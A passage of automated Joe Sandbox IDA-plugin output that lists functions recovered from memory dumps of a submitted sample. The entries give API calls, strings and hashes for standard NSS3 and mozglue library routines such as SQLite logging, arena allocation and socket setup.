Opcode Fuzzy Hash: 648b0c62094fff5cbba7bd47db1e0f0a3d6cee7ca5d2e2278e1026db14bc99b3
Instruction Fuzzy Hash: C951CF71A047018FD368DF29C89071AB7F2EBC9718F64C92ED5A9C7B85D770A804CB96

Function 6C6788D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C678990

Strings

@zhl, xrefs: 6C678A31

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memset
String ID: @zhl
API String ID: 2221118986-169256571
Opcode ID: 906149897e5d951a3880f33e8d5a7d5aec33ecc97c786b8d03dbc4ce31fd5f64
Instruction ID: b05386e894cf2b36b50118dfff57c2d6fb4f6e14e5fb2d8d20cba1108ad92f57
Opcode Fuzzy Hash: 906149897e5d951a3880f33e8d5a7d5aec33ecc97c786b8d03dbc4ce31fd5f64
Instruction Fuzzy Hash: 74512670A057819FC700CF28C5946A6BBF0BF29308B24969DC8885BB13D331F996CBE5

Function 6C61B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C603EBD,6C603EBD,00000000), ref: 6C5C42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C61B127), ref: 6C61B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C61B4E4

Strings

pid:, xrefs: 6C61B4DE

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction ID: 5e7cf097a0a002e2abfa3a39e0d3bb52978eb38f2e8194c9f80dcb3eea4e042f
Opcode Fuzzy Hash: 056475ee1e46cf630c5762b3ea858c161773a69f09319e78b82c6fe18510892a
Instruction Fuzzy Hash: F23115B1A05204DBDB00DFAED880AEEB7B5BF85309F54852DD811A7F41D731A845CBE9

Function 6C676C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C676D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C676D20
%s at line %d of [%.10s], xrefs: 6C676D2F
database corruption, xrefs: 6C676D2A

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 3ebf939acb01ddc1b7a2348ec529b4e7a019f519089c14781923339d6602133e
Instruction ID: 155b748fa6ab2a70c423a9c413a4a0392bdb1e588fcbe3b562f046df3df93522
Opcode Fuzzy Hash: 3ebf939acb01ddc1b7a2348ec529b4e7a019f519089c14781923339d6602133e
Instruction Fuzzy Hash: 6421F4706243059BC720CF1ACA41B9AB7F1EF85318F244D2CD8499BF51E371F94487AA

Function 6C752FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ul,6C7532C2,<+ul,00000000,00000000,?), ref: 6C752FDA

Part of subcall function 6C7414C0: TlsGetValue.KERNEL32 ref: 6C7414E0
Part of subcall function 6C7414C0: EnterCriticalSection.KERNEL32 ref: 6C7414F5
Part of subcall function 6C7414C0: PR_Unlock.NSS3 ref: 6C74150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C75300B

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C75302A

Part of subcall function 6C740840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7408B4

Part of subcall function 6C72C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C72C45D
Part of subcall function 6C72C3D0: TlsGetValue.KERNEL32 ref: 6C72C494
Part of subcall function 6C72C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C72C4A9
Part of subcall function 6C72C3D0: PR_Unlock.NSS3(?), ref: 6C72C4F4

Strings

<+ul, xrefs: 6C752FD0

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ul
API String ID: 2538134263-3119354308
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 94fdb0b58e4e98988f9e3150c2cecacde6ebe20426c460a25f9f256988417beb
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: A9110AB6B002046BDB009E65DD04A9B77DA9B8526CF188134F81CDB791FB72ED25C7E1

Function 6C7ACC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7ACD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7ACC7B), ref: 6C7ACD7A
Part of subcall function 6C7ACD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7ACD8E
Part of subcall function 6C7ACD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7ACDA5
Part of subcall function 6C7ACD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7ACDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7ACCB5
memcpy.VCRUNTIME140(6C8414F4,6C8402AC,00000090), ref: 6C7ACCD3
memcpy.VCRUNTIME140(6C841588,6C8402AC,00000090), ref: 6C7ACD2B

Part of subcall function 6C6C9AC0: socket.WSOCK32(?,00000017,6C6C99BE), ref: 6C6C9AE6
Part of subcall function 6C6C9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6C99BE), ref: 6C6C9AFC

Part of subcall function 6C6D0590: closesocket.WSOCK32(6C6C9A8F,?,?,6C6C9A8F,00000000), ref: 6C6D0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7ACCB0

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: b25e460e14036e8c00965d57c58160c98151348e59861ab602b6627770d6eea3
Instruction ID: 16e5c55c7c2590538bee8025a769b57b02e7a25b44e231d4468dd411c7b2f6d3
Opcode Fuzzy Hash: b25e460e14036e8c00965d57c58160c98151348e59861ab602b6627770d6eea3
Instruction Fuzzy Hash: B911D3F1B002406EDB20AF69DA8B7C33AB8934631CF169539E526CBB41E731C425CBD6

Function 6C66A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C79A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C7BC3A2,?,?,00000000,00000000), ref: 6C79A528
Part of subcall function 6C79A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C79A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C66A94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C66A939
%s at line %d of [%.10s], xrefs: 6C66A948
database corruption, xrefs: 6C66A943

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 40b1439bfdad651c80b9c243c5ae9513f2d14b3421532674bab6d7402555682d
Instruction ID: 5ded627dbba4e31b515aa95e54d29fc722b98ddd662ec27167d5455f36ac34ec
Opcode Fuzzy Hash: 40b1439bfdad651c80b9c243c5ae9513f2d14b3421532674bab6d7402555682d
Instruction Fuzzy Hash: 61014931E10218ABC720CB6BDD15B9BB3F4AB49318F454A39E94E97F41E731AC08C796

Function 6C6F8850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C700715), ref: 6C6F8859
PR_NewLock.NSS3 ref: 6C6F8874

Part of subcall function 6C7A98D0: calloc.MOZGLUE(00000001,00000084,6C6D0936,00000001,?,6C6D102C), ref: 6C7A98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C6F888D

Strings

NSS, xrefs: 6C6F8887

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 9bd122d4df5683fd06aea8b1b295572d33eddf93846886da6373c486b9e92328
Instruction ID: 4a5d1da967c608756092209eccc1da1594e6a8853669bbd33661dd96049b1e3d
Opcode Fuzzy Hash: 9bd122d4df5683fd06aea8b1b295572d33eddf93846886da6373c486b9e92328
Instruction Fuzzy Hash: B9F0F662E4122033F210166A6C0AB8634899F5775DF040075E92CA3B82EB42951A83FE

Function 6C78A890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C775F25,?,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78A8A3

Part of subcall function 6C72ADC0: TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE10
Part of subcall function 6C72ADC0: EnterCriticalSection.KERNEL32(?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE24
Part of subcall function 6C72ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C70D079,00000000,00000001), ref: 6C72AE5A
Part of subcall function 6C72ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE6F
Part of subcall function 6C72ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AE7F
Part of subcall function 6C72ADC0: TlsGetValue.KERNEL32(?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEB1
Part of subcall function 6C72ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C70CDBB,?,6C70D079,00000000,00000001), ref: 6C72AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C775F25,?,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78A8BA
SECITEM_ZfreeItem_Util.NSS3(%_wl,00000000,00000000,?,6C775F25,?,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78A8CF

Strings

%_wl, xrefs: 6C78A894, 6C78A8CE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_wl
API String ID: 2877228265-4113705951
Opcode ID: 4d655e384648a0e243f1a8c46bfd3ae0b265b8addd2b12cd0d0b0523ff772917
Instruction ID: 12c8196665e71827a538aed40a6e5216df6ec5ec90f27b5a98f25f4b0832dfc5
Opcode Fuzzy Hash: 4d655e384648a0e243f1a8c46bfd3ae0b265b8addd2b12cd0d0b0523ff772917
Instruction Fuzzy Hash: 34F0A0B2A02B2497EB119A56E809B937398AB0067DF848474D91E97B41E325E80587E1

Function 6C5E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5E5D40
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5E5D67
__aulldiv.LIBCMT ref: 6C5E5DB4
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5E5DED

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction ID: e798aa0b1d1cc4aaac8381d7626a75b45f92e064b6acd14cbab22a46268d1013
Opcode Fuzzy Hash: 7f2f4d28962412b866b0ed3cac56c1c8e6c72e3df647e29db09f419915323cc6
Instruction Fuzzy Hash: 6E518071E001298FCF08DFA9C994AAEBBB1FB89308F59C62DD815A7750C7306945CB95

Function 6C7A4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C6885D2,00000000,?,?), ref: 6C7A4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A50D6

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 05622d112edbb0a1dc29647f9c8f28d8ab75e04fbf0273893bd199badc996d8f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 1241C3B2A406058FCB18CF69DCD179AB7E1BF4431871D466DC84ACBB02E375E891CB81

Function 6C7FA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C7FA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C7FA662), ref: 6C7FA69E
Part of subcall function 6C7FA690: PR_NewCondVar.NSS3(?), ref: 6C7FA6B4

PR_IntervalNow.NSS3 ref: 6C7FA8C6
EnterCriticalSection.KERNEL32(?), ref: 6C7FA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C7FA944
PR_SetPollableEvent.NSS3(?), ref: 6C7FA94F

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: cb8078994d13cab678fc1d8fdcfc705bc0c3cf8e9bdfa910316c263ca8008836
Instruction ID: 80854a59a4df6f3180f55b2dbbbaa4b23b99abc0de7e06f8ca11add94761d12d
Opcode Fuzzy Hash: cb8078994d13cab678fc1d8fdcfc705bc0c3cf8e9bdfa910316c263ca8008836
Instruction Fuzzy Hash: A14136B4A01A069FC714CF29C6C495AFBF5FF48328725856AE859CBB11E731E851CB90

Function 6C6E6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6E6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6E6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6E6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C808FE0), ref: 6C6E6CFE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 9ed84e774c4250881973562888da9f0c705cb1ab1a6318885167f9efcdebc318
Instruction ID: 8bcf4eefdaf8f6cf0087650b3cd8b8e0f84aebb5d4b87b939b387ffe455ad669
Opcode Fuzzy Hash: 9ed84e774c4250881973562888da9f0c705cb1ab1a6318885167f9efcdebc318
Instruction Fuzzy Hash: FC31A0B1A0521A9FDB08DF65C885ABFBBF5EF49248B10442EDA05D7750EB31D905CBA0

Function 6C7F4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C7F4F5D
free.MOZGLUE(?), ref: 6C7F4F74
free.MOZGLUE(?), ref: 6C7F4F82
GetLastError.KERNEL32 ref: 6C7F4F90

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 373e6e7e1ac3d34e517f7a752f7838f8a8e0b80529ee153768613f0bae376d80
Instruction ID: 2107342de4c0fa1785706d8835e5a7b0f94a3921c1405e2926753f5eb29ff526
Opcode Fuzzy Hash: 373e6e7e1ac3d34e517f7a752f7838f8a8e0b80529ee153768613f0bae376d80
Instruction Fuzzy Hash: E3315975A002194BEB01CB69DE85BDB73F8FF45348F080234E828A7381D734A906D691

Function 6C606470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6082BC,?,?), ref: 6C60649B

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6064A9

Part of subcall function 6C5FFA80: GetCurrentThreadId.KERNEL32 ref: 6C5FFA8D
Part of subcall function 6C5FFA80: AcquireSRWLockExclusive.KERNEL32(6C64F448), ref: 6C5FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60653F
free.MOZGLUE(?), ref: 6C60655A

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

